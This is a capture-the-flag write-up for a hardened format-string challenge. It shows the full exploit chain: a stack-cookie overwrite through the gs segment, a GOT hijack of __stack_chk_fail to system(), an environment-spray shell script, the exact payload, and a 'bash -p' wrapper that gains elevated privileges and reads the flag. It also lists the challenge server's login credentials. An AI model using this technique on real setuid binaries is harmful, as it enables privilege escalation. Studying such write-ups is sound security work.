1.234.41.7:22
ID : yesMan
PWD : ohyeah123
Download vulnerable binary.
Vuln500 was a hardened format-string vuln with ASLR, NX-stack, no-DTORs, RO .dynamic
The vuln
Simple format-string vulnerability:
yesMan@ubuntu:~$ ./X 'hello %p %p %p %p %p' hello 0xbfdedea6 0x100 0x804825c 0xb7846b48 0xbfde0002 |
The obstacles
But it’s not that easy to exploit:
- Non-executable stack:
root@bt:~/Desktop# execstack X.bin - X.bin |
We’ll use ret2libc technique instead of jumping on stack.
- ASLR turned on:
Libc ASLR: yesMan@ubuntu:~$ ldd ./X linux-gate.so.1 => (0xb78b0000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7750000) /lib/ld-linux.so.2 (0xb78b1000) yesMan@ubuntu:~$ ldd ./X linux-gate.so.1 => (0xb7769000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7609000) /lib/ld-linux.so.2 (0xb776a000) Stack ASLR: yesMan@ubuntu:/tmp/v$ gdb -q --args ~/X Reading symbols from /home/yesMan/X...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x8048477 (gdb) r Starting program: /home/yesMan/X Breakpoint 1, 0x08048477 in main () (gdb) p/x $esp $1 = 0xbfb27aa8 (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/yesMan/X Breakpoint 1, 0x08048477 in main () (gdb) p/x $esp $2 = 0xbfdb3818
Partially circumventable using ulimit -s unlimited:
yesMan@ubuntu:~$ ulimit -s unlimited yesMan@ubuntu:~$ ldd ./X linux-gate.so.1 => (0x4001d000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000) /lib/ld-linux.so.2 (0x40000000) yesMan@ubuntu:~$ ldd ./X linux-gate.so.1 => (0x4001d000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000) /lib/ld-linux.so.2 (0x40000000)
- Non-exploitable DTOR fashion:
Hard-coded _DTOR_END__, and no DTORs present.
- Read-only .dynamic section and _fini pointer.
- However, GOT is writable at run time.
Taking over the control
With writable GOT we can transfer the execution to any address by overwriting an imported library function address. But, after printf no foreign functions are executed under normal conditions. The only opportunity to exploit GOT overwrite is to corrupt stack canary and get __stack_chk_fail called.
We have two ways to force __stack_chk_fail executed:
- Overwrite local STK_COOKIE variable at [ebp – 0x14]
- Overwrite saved etalon stack cookie at gs:[0x14]
First way is very unreliable because of stack ASLR. It involves overwriting several addresses at stack with garbage, hoping that we match with current randomized stack address and STK_COOKIE gets overwritten. It’s a way to go if we have a spare 30 minutes for bruteforcing stack ASLR.
Second way is more interesting, because it provides 100% exploit reliability.
Flat Memory Model
When the CPU runs across a segment selector (gs: is one) in flat memory model, it reads LDT to find the segment’s base address, and simply adds up that base and offset specified to get linear memory address to work with.
cs: and ds: (default segments) normally have base of 0x0, so reading from gs:[0x14] is equal to reading from ds:[base_of_GS + 0x14]
To get base of GS I used getting a core dump and then analyzing it with eu-readelf (package elfutils):
yesMan@ubuntu:/tmp/v$ ulimit -c 1024 yesMan@ubuntu:/tmp/v$ cp ~/X ./ yesMan@ubuntu:/tmp/v$ ./X '%n%n%n%n' Segmentation fault (core dumped) root@bt:~/Desktop# eu-readelf -a core.dump <...> LINUX 48 386_TLS index: 6, base: 0x4017e6c0, limit: 0x000fffff, flags: 0x00000051 index: 7, base: 0x00000000, limit: 0x00000000, flags: 0x00000028 index: 8, base: 0x00000000, limit: 0x00000000, flags: 0x00000028 |
gs: segment base address is 0x4017e6c0, so saved stack cookie resides at 0x4017e6d4.
The exploit
Steps to get a shell:
1. Overwrite saved stack cookie with some trash
2. Overwrite __stack_chk_fail at GOT with address of system@glibc
3. Check what is the argument to system() and give that name to our malicious executable
(gdb) p/x &system $1 = 0x4005d100 |
system@glibc is at 0x4005d100
Imported __stack_chk_fail address should be overwritten at 0x0804a010
Addresses for overwriting can be passed to printf via env. We need a script to run the executable with modified environment, that we spray with 3 addresses that we need to overwrite:
#!/bin/sh env -i "PATH=.:$PATH" "A=`perl -e'print"\xd4\xe6\x17\x40"x5000;print"\x10\xa0\x04\x08"x5000;print"\x12\xa0\x04\x08"x5000;'`" $1 $2 $3 $4 $5 $6 $7 $8 $9 |
Let’s check our gs: stack cookie overwrite trick:
yesMan@ubuntu:/tmp/v$ ./r ltrace ~/X '%2500$n' __libc_start_main(0x8048474, 2, 0xbf881f64, 0x8048520, 0x8048510 <unfinished ...> strncpy(0xbf881d9c, "%2500$n", 256) printf("%2500$n", 0xbf882533) __stack_chk_fail(0xbf881d9c, 0xbf882533, 256, 0x804825c, 0x4001fb48 *** stack smashing detected ***: /home/yesMan/X terminated |
Works like a charm! We tricked the binary into believing we smashed the stack.
Now we add GOT overwriting:
yesMan@ubuntu:/tmp/v$ ./r ~/X '%2500$n%53504d%7500$hn%28421d%12500$hn' 1>/dev/null sh: %2500%53504d%7500%28421d%12500: not found |
Great! system() gets executed, and sh conveniently tells us what binary it is missing. Let’s give it what it wants ;-)
yesMan@ubuntu:/tmp/v$ cat > %2500%53504d%7500%28421d%12500 #!/bin/sh bash -p yesMan@ubuntu:/tmp/v$ chmod +x %2500%53504d%7500%28421d%12500 yesMan@ubuntu:/tmp/v$ ./r ~/X '%2500$n%53504d%7500$hn%28421d%12500$hn' 1>/dev/null bash-4.1$ id >&2 uid=1001(yesMan) gid=1001(yesMan) euid=1002(yesMan2) groups=1001(yesMan) bash-4.1$ _ |
Pwned!
bash-4.1$ cat /home/yesMan/password >&2 Format_String_Bug_Hunter!@#$
Flag is Format_String_Bug_Hunter!@#$
2 comments
Hey, I’m trying to reproduce this, but when I get to the step of eu-readelf core and get this output http://sprunge.us/OOHb however I see that the index does not match with your output. Mine starts with index 12, is it the same? Thanks
Author
Yes, this it ok. The segment offset mask is 0x000fffff shows it is the GS segment.
Although, your glibc address space seems to be randomized, since the segment has a base of 0xf75896c0. Make sure you circumvented ASLR using ulimit -s unlimited before taking the core dump.